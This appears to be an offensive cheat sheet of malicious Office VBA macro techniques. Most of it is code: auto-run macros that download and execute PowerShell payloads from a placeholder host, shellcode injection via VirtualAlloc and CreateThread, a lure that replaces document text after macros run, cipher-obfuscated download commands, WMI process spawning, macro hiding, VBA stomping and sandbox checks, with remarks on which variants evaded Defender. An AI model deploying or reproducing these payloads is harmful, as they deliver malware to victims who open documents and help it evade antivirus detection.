Sub Document_Open()
DocMacro
End Sub
Sub AutoOpen()
DocMacro
End Sub
Sub DocMacro()
Dim str As String
str = "powershell (New-Object System.Net.WebClient).DownloadFile('url','filename')"
Shell str, vbHide
Dim path As String
path = ActiveDocument.Path + "\filename"
Wait (3)
Shell path , vbHide
End Sub
Sub Wait(n As Long)
Dim t As Date
t = Now
Do
DoEvents
Loop Until Now >= DateAdd("s", n, t)
Switches text after enabling macros
Save the "after enabling macros" text as a template and use the following function to replace the current contents with the saved ones (e.g. fake an encrypted documented):
Sub SubPage()
ActiveDocument.Content.Select
Selection.Delete
ActiveDocument.AttachedTemplate.AutoTextEntries("Saved").InsertWhere:=Selection.Range, RichText:=True
End Sub
Run Shellcode From Macro via VBA
Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Function DocMacro()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
buf = Array(232, 130, 255, 213)
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
res = CreateThread(0, 0, addr, 0, 0, 0)
End Function
Sub Document_Open()
DocMacro
End Sub
Sub AutoOpen()
DocMacro
End Sub
Note that the shell will die when the victim closes word with this variant. Should you want to generate shellcode via msfvenom use the "vbapplication" output (32-Bit). Interestingly this does not get caught by defender (12/2020).
Run Shellcode from Macro via PowerShell
Look for useful P/Invoke calls on www.pinvoke.net. Then create a PowerShell script like the following:
Sub DocMacro()
Dim str As String
str = "powershell (New-Object System.Net.WebClient).DownloadString('http://<ip>/xct.ps1') | IEX"
Shell str, vbHide
End Sub
Sub Document_Open()
DocMacro
End Sub
Sub AutoOpen()
DocMacro
End Sub
Note that this method leaves some artifacts on disk (Add-Type will write .cs files and compile them into .dlls), the next snippet prevents this by creating the .NET assembly in memory via reflection.
Run Shellcode from Macro via PowerShell using Reflection
This variant will leave no artifacts as references to .NET assemblies are resolved dynamically via reflection. Defender will detect it though (12/2020).
Evasion
PowerShell From Macro with substitution cipher (alphabet is shuffled, encoded using cyberchef):
Sub Document()
ActiveDocument.Content.Select
Selection.Delete
ActiveDocument.AttachedTemplate.AutoTextEntries("Template").Insert Where:=Selection.Range, RichText:=True
End Sub
Function Privacy(sInput As String) As String
Dim vaBefore As Variant
Dim vaAfter As Variant
Dim i As Long
Dim sReturn As String
sReturn = sInput
vaAfter = Split("A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z", ",")
vaBefore = Split("T,L,E,a,A,O,I,v,K,t,V,F,R,q,C,Z,S,h,s,j,o,X,H,Y,M,f,g,y,r,w,z,G,P,u,n,c,N,i,e,U,B,Q,J,m,d,b,x,D,k,l,W,p", ",")
For i = LBound(vaBefore) To UBound(vaBefore)
sReturn = Replace$(sReturn, vaBefore(i), "&" & Asc(vaAfter(i)))
Next i
For i = LBound(vaAfter) To UBound(vaAfter)
sReturn = Replace$(sReturn, "&" & Asc(vaAfter(i)), vaAfter(i))
Next i
Privacy = sReturn
End Function
Sub Launch()
Dim s As String
s = Privacy("QBkzmduzii -zlzr yWQgdd -UBQ -knU unwwzU -UBUn -r ""(Uzk-Byczrb dWdbze.Uzb.kzyrinzUb).wBkUiBgwdbmnUP('ubbQ://<ip>/mxU2.blb')|KAY""")
Debug.Print s
Shell s, vbHide
End Sub
Sub Document_Open()
Document
Launch
End Sub
Sub AutoOpen()
Document
Launch
End Sub
Alternate way of execution:
Sub Launch()
Dim str As String
str = Privacy("""nzl(nkm ubbQ://<ip>mxU2.blb -xdzygdnrQgmdnUP)""")
Set wshShell = CreateObject("WScript.Shell")
wshShell.Run ("powershell.exe -ep bypass -c " & str)
End Sub
Hiding Macros
Using FlexHex we can open Excel/Word Files and hex edit them. Editing "Module=NewMacros" to Null Bytes leads to Office no longer displaying the macros (but still running them).
VBA Stomping
Macros get compiled into P-Code, which is executed whenever the document is opened on a computer with the exact same version of office. Otherwise the textual version is used. Most AV only analyze the textual version, ignoring the P-Code - therefore we can remove the textual source and evade AV that way (Edit to zeros in FlexHex). On first execution of the macro, the P-Code will be decompiled and written back as a textual version.
Powershell as a child of word is very suspicious, using WMI we can change that:
Sub SomeMacro
strArg = "powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring('http://<ip>/script.txt'))"
GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid
End Sub
Sub AutoOpen()
SomeMacro
End Sub
Obfuscating VBA
We can use custom ciphers on strings in the document (this is surprisingly effective).
Detect Running in a Sandbox
Some AV Vendors will rename the file on execution, which is easy to check for us:
If ActiveDocument.Name <> Decrypt("...") Then
Exit Function
End If